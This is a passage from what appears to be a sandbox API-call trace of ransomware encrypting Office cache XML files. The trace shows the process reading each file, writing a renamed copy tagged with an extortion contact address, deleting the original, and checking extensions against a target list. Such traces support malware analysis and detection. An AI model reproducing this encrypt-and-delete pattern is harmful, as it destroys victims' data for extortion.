lpOverlapped=0x0) returned 1 [0204.443] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.443] SetEndOfFile (hFile=0x19c) returned 1 [0204.443] CloseHandle (hObject=0x19c) returned 1 [0204.444] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.444] SetEndOfFile (hFile=0x184) returned 1 [0204.444] CloseHandle (hObject=0x184) returned 1 [0204.449] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.449] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0204.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.449] lstrlenW (lpString=".doc") returned 4 [0204.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.449] lstrlenW (lpString=".docx") returned 5 [0204.449] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.449] lstrlenW (lpString=".pdf") returned 4 [0204.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".xls") returned 4 [0204.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".xlsx") returned 5 [0204.450] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.450] lstrlenW (lpString=".ppt") returned 4 [0204.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".zip") returned 4 [0204.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.450] lstrlenW (lpString=".rar") returned 4 [0204.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".bz2") returned 4 [0204.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".7z") returned 3 [0204.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".dbf") returned 4 [0204.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".1cd") returned 4 [0204.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".jpg") returned 4 [0204.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".doc") returned 4 [0204.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".docx") returned 5 [0204.450] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.450] lstrlenW (lpString=".pdf") returned 4 [0204.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".xls") returned 4 [0204.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".xlsx") returned 5 [0204.450] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.450] lstrlenW (lpString=".ppt") returned 4 [0204.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".zip") returned 4 [0204.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.450] lstrlenW (lpString=".rar") returned 4 [0204.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".bz2") returned 4 [0204.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString=".7z") returned 3 [0204.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.450] lstrlenW (lpString=".dbf") returned 4 [0204.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.451] lstrlenW (lpString=".1cd") returned 4 [0204.451] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0204.451] lstrlenW (lpString=".jpg") returned 4 [0204.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.451] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.451] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0204.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.451] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1606) returned 1 [0204.451] CloseHandle (hObject=0x184) returned 1 [0204.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0204.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.452] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.452] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0204.452] GetLastError () returned 0x0 [0204.452] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x646, lpOverlapped=0x0) returned 1 [0204.500] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x650, lpOverlapped=0x0) returned 1 [0204.501] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.501] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0204.501] SetEndOfFile (hFile=0x19c) returned 1 [0204.501] CloseHandle (hObject=0x19c) returned 1 [0204.502] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.502] SetEndOfFile (hFile=0x184) returned 1 [0204.503] CloseHandle (hObject=0x184) returned 1 [0204.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.503] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0204.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.503] lstrlenW (lpString=".doc") returned 4 [0204.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.503] lstrlenW (lpString=".docx") returned 5 [0204.503] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.503] lstrlenW (lpString=".pdf") returned 4 [0204.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.503] lstrlenW (lpString=".xls") returned 4 [0204.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.503] lstrlenW (lpString=".xlsx") returned 5 [0204.503] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.503] lstrlenW (lpString=".ppt") returned 4 [0204.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.503] lstrlenW (lpString=".zip") returned 4 [0204.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.504] lstrlenW (lpString=".rar") returned 4 [0204.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".bz2") returned 4 [0204.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".7z") returned 3 [0204.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".dbf") returned 4 [0204.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".1cd") returned 4 [0204.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".jpg") returned 4 [0204.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".doc") returned 4 [0204.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".docx") returned 5 [0204.504] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.504] lstrlenW (lpString=".pdf") returned 4 [0204.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".xls") returned 4 [0204.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".xlsx") returned 5 [0204.504] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.504] lstrlenW (lpString=".ppt") returned 4 [0204.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".zip") returned 4 [0204.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.504] lstrlenW (lpString=".rar") returned 4 [0204.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".bz2") returned 4 [0204.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString=".7z") returned 3 [0204.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".dbf") returned 4 [0204.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".1cd") returned 4 [0204.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0204.504] lstrlenW (lpString=".jpg") returned 4 [0204.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.505] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.505] lstrlenW (lpString="Setup.xml") returned 9 [0204.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.649] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1452) returned 1 [0204.649] CloseHandle (hObject=0x194) returned 1 [0204.649] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.649] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0204.650] GetLastError () returned 0x0 [0204.650] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0204.786] WriteFile (in: hFile=0x1a8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0204.787] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.787] WriteFile (in: hFile=0x1a8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.787] SetEndOfFile (hFile=0x1a8) returned 1 [0204.787] CloseHandle (hObject=0x1a8) returned 1 [0204.788] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.788] SetEndOfFile (hFile=0x194) returned 1 [0204.789] CloseHandle (hObject=0x194) returned 1 [0204.789] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.789] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.789] lstrlenW (lpString=".doc") returned 4 [0204.789] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.789] lstrlenW (lpString=".docx") returned 5 [0204.789] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.789] lstrlenW (lpString=".pdf") returned 4 [0204.789] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.789] lstrlenW (lpString=".xls") returned 4 [0204.789] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.789] lstrlenW (lpString=".xlsx") returned 5 [0204.789] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.789] lstrlenW (lpString=".ppt") returned 4 [0204.789] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.789] lstrlenW (lpString=".zip") returned 4 [0204.789] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.789] lstrlenW (lpString=".rar") returned 4 [0204.789] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".bz2") returned 4 [0204.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".7z") returned 3 [0204.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".dbf") returned 4 [0204.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".1cd") returned 4 [0204.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".jpg") returned 4 [0204.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".doc") returned 4 [0204.790] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".docx") returned 5 [0204.790] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.790] lstrlenW (lpString=".pdf") returned 4 [0204.790] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".xls") returned 4 [0204.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".xlsx") returned 5 [0204.790] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.790] lstrlenW (lpString=".ppt") returned 4 [0204.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".zip") returned 4 [0204.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.790] lstrlenW (lpString=".rar") returned 4 [0204.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".bz2") returned 4 [0204.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString=".7z") returned 3 [0204.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".dbf") returned 4 [0204.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.790] lstrlenW (lpString=".1cd") returned 4 [0204.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.791] lstrlenW (lpString=".jpg") returned 4 [0204.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.791] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.791] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0204.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.791] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5557) returned 1 [0204.791] CloseHandle (hObject=0x194) returned 1 [0204.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0204.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0204.791] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.791] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0204.792] GetLastError () returned 0x0 [0204.792] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0205.030] WriteFile (in: 